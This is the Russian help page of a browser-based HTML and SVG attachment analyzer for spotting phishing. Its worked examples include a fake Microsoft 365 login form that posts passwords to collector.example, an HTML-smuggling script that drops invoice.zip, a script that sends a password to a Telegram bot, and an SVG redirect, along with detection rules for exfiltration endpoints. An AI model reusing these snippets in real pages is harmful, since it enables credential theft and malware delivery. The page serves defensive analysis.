Снимайте слои Base64, hex, URL-кодирования, gzip и deflate, пока не останется читаемый текст.
Анализатор HTML-вложений
Сам инструмент доступен на английском языке; на этой странице приведено его описание на вашем языке.
Используйте Анализатор HTML-вложений
Для чего это нужно
Загрузите или вставьте HTML- или SVG-вложение, чтобы увидеть, что оно сделало бы при открытии: скрытые загрузки, формы, отправляющие пароль на другой сайт, перенаправления, адреса для вывода данных и обфусцированный код. Файл читается как текст и никогда не отрисовывается и не запускается.
Приложение работает полностью в браузере: никакие введенные вами данные не передаются на сервер.
Как использовать Анализатор HTML-вложений
- Не открывайте файл. Сохраните вложение .html, .htm, .shtml, .xhtml или .svg, не открывая его, или скопируйте его исходный код как текст.
- Загрузите или вставьте его. Перетащите файл на поле или выберите его (до 25 МБ) либо вставьте исходный код (до 5 МБ) и нажмите Analyze или Ctrl+Enter.
- Прочитайте вердикт. Верхний блок показывает High risk, Suspicious или No high-risk patterns found, а также категории, на которых основан вердикт, и число находок, IOC и встроенных блобов.
- Просмотрите находки. Каждая находка показывает уровень серьёзности, категорию, номер строки и соответствующий фрагмент кода; ссылки и адреса обезврежены.
- Экспортируйте найденное. Скопируйте IOC в обезвреженном или исходном виде или используйте Send to для IOC Converter, Abuse Report Generator или, для встроенного блоба, Multi-Layer Decoder.
Пример
Форма входа с подставленным адресом
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…Высокий риск: форма входа отправляет пароль на collector[.]example, в заголовке упоминается Microsoft 365 рядом с полем пароля, а скрипт подставляет адрес электронной почты из фрагмента URL с помощью atob. Список IOC содержит URL сборщика и его домен в обезвреженном виде.
Что проверяется
| Сигнал | Что это означает |
|---|---|
| HTML smuggling | Высокий уровень, если страница собирает файл в памяти (Blob с createObjectURL или ссылкой на скачивание либо msSaveOrOpenBlob) и предлагает его скачать. |
| Формы | Любая форма, отправляющая данные на другой сайт, получает высокий уровень, а в заголовке находки указывается, если в ней есть пароль. Таблица Forms показывает, куда отправляет данные каждая форма, её метод и поля. |
| Адреса для вывода данных | Вызовы Telegram Bot API, токены ботов, вебхуки Discord и сервисы сбора форм вроде formspree.io или webhook.site получают высокий уровень. |
| Обфускация | atob, unescape, fromCharCode, длинные последовательности escape-кодов и результат работы известных обфускаторов. Закодированные строковые литералы декодируются без выполнения. |
| Динамический код | eval, конструктор Function, document.write и присваивания innerHTML строят код или разметку во время выполнения. |
| Перенаправления | Изменения location, window.open, meta refresh и чтение фрагмента URL, через который фишинг-киты часто передают адрес электронной почты жертвы. |
| Защита от анализа | Блокировка правого клика или F12, операторы debugger, обнаружение инструментов разработчика и проверки на автоматизированные браузеры. |
| Встроенное содержимое | data: URI, длинные блобы Base64 или hex и тип файла, в который они декодируются, скрытые iframe и SVG-файлы со скриптами. |
| Признаки бренда | Названия брендов в заголовке, логотипах или ссылках. Рядом с полем пароля это получает средний уровень. |
Еще примеры
Загрузка, собранная в браузере
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>High risk, причина — HTML smuggling: 1 находка высокого уровня (страница собирает файл в браузере и предлагает его скачать) и 4 среднего — для atob, new Blob, URL.createObjectURL и атрибута download. IOC нет.
Пароль, отправляемый Telegram-боту
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>High risk, причина — Data exfiltration: скрипт отправляет данные со страницы с полем пароля на api.telegram.org, плюс находка об адресе Telegram Bot API. Находки среднего уровня касаются fetch, поля пароля и формы входа без внешнего action.
SVG-изображение с перенаправлением
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>High risk: SVG-файл со скриптом, а также перенаправление среднего уровня и находка низкого уровня о btoa. Цель показана в разделе Requests and redirects как другой сайт, а URL пространства имён XML не включается в IOC.
Часто задаваемые вопросы
Что ищет анализатор?
Он сверяет исходный код с правилами для HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, ссылки на скачивание, data: URI и длинные Base64-блобы), форм и скриптов, отправляющих данные на другие сайты, вывода данных через Telegram и Discord, перенаправлений, скрытых iframe, обфускаторов и приёмов против анализа. Он также декодирует литералы atob, unescape и fromCharCode, не выполняя их, и выводит все найденные URL, домены, IP-адреса и адреса электронной почты в обезвреженном виде.
Может ли он что-то пропустить или поднять ложную тревогу?
Да. Зашифрованный или генерируемый во время выполнения код может скрыть своё поведение от статической проверки, а обычные страницы тоже используют fetch, innerHTML или встроенные изображения, поэтому читайте фрагмент кода, показанный рядом с каждой находкой. Для деобфускации и эмуляции в песочнице используйте JS Analyzer.
Загружается или открывается ли файл?
Нет. Файл читается как текст в вашем браузере и никогда не отрисовывается, не выполняется и никуда не отправляется. Принимаются файлы до 25 МБ; в очень больших файлах проверяются первые 4 МБ и последний 1 МБ разметки, а встроенные блобы подсчитываются по всему файлу.
Почему SVG-изображение проверяется как веб-страница?
SVG-файлы — это XML, который браузеры открывают как страницы, поэтому они могут содержать скрипты, ссылки и встроенный HTML. Изображению скрипт не нужен, поэтому скрипт внутри SVG получает высокий уровень.
Что такое встроенные блобы?
Длинные строки Base64, hex или массивы байтов внутри файла. Они декодируются в памяти и помечаются типом файла, в который превращаются; блоб можно скопировать, а текстовый блоб — отправить в Multi-Layer Decoder.
Что означают уровни серьёзности?
High отмечает схемы, на которые опираются фишинговые и вредоносные вложения: smuggling, адреса для вывода данных или форму с паролем, отправляющую данные на другой сайт. Medium охватывает приёмы, которые используют и обычные страницы. Одной находки уровня High достаточно для вердикта High risk.